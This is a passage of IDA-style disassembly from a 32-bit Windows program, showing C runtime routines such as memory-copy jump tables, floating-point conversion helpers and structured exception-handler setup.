					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEC+40p
					; ___:0040E2A0p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D031+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A970
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB9AC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF84, offset sub_421935
		mov	off_43CF80, eax
		mov	off_43CF88, offset sub_42199B
		mov	off_43CF8C, offset sub_4218DB
		mov	off_43CF90, offset sub_421983
		mov	off_43CF94, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D031+1Bp
					; sub_40D031+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07D+82p
					; ___:0040DD3Dp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A988
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBA04
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07D+5p
					; sub_40D21F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B4+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D725+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
